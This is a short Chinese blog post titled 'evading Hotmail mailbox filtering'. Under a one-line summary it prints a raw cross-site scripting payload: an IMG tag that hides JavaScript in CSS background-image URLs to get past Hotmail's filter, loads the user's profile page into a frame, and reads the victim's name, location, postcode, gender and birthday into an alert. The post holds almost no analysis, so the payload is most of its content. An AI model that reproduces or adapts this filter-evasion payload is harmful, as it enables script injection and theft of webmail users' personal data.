逃避hotmail邮箱过滤

最新推荐文章于 2019-05-27 21:31:27 发布

最新推荐文章于 2019-05-27 21:31:27 发布 · 1.7k 阅读

文章标签：

#JavaScript #ViewUI

本文分析了一段包含恶意代码注入的HTML内容，详细解析了其中利用JavaScript进行的各种非法操作，包括弹窗警告及复杂的用户信息窃取手段。

<IMGsrc='javascript:bla'
style='background-image:url('javascript:alert%28%27bli%27%29');
background-image:url('javascript:document.all[61].src=document.location.href.replace%28%22getmsg%22,
%22person%22%29.substring%28%220%22,document.location.href.indexOf%28%22%26msg%22%29%29;
function
bla(){alert%28%22Name=%22+
window.frames[0].personalinfo.xfname.value
+%22%20%22+window.frames[0].personalinfo.xlname.value+
%22\nCountry=%22+
window.frames[0].personalinfo.xcountry[window.frames[0].personalinfo.xcountry.selectedIndex].
text+%22\nProvince=%22+
window.frames[0].personalinfo.xgeoid[window.frames[0].personalinfo.xgeoid.selectedIndex].text
+%22\nPostalcode=%22+
window.frames[0].personalinfo.xzip.value+
%22\nMale=%22+
window.frames[0].personalinfo.xgender[0].checked+
%22\nFemale=%22+
window.frames[0].personalinfo.xgender[1].checked+
%22\nBirthday=%22+
window.frames[0].personalinfo.day.value+%22%20%22
+
window.frames[0].personalinfo.month[window.frames[0].personalinfo.month.selectedIndex].text%29;
};setTimeout%28%27bla()%27,4000%29;')'>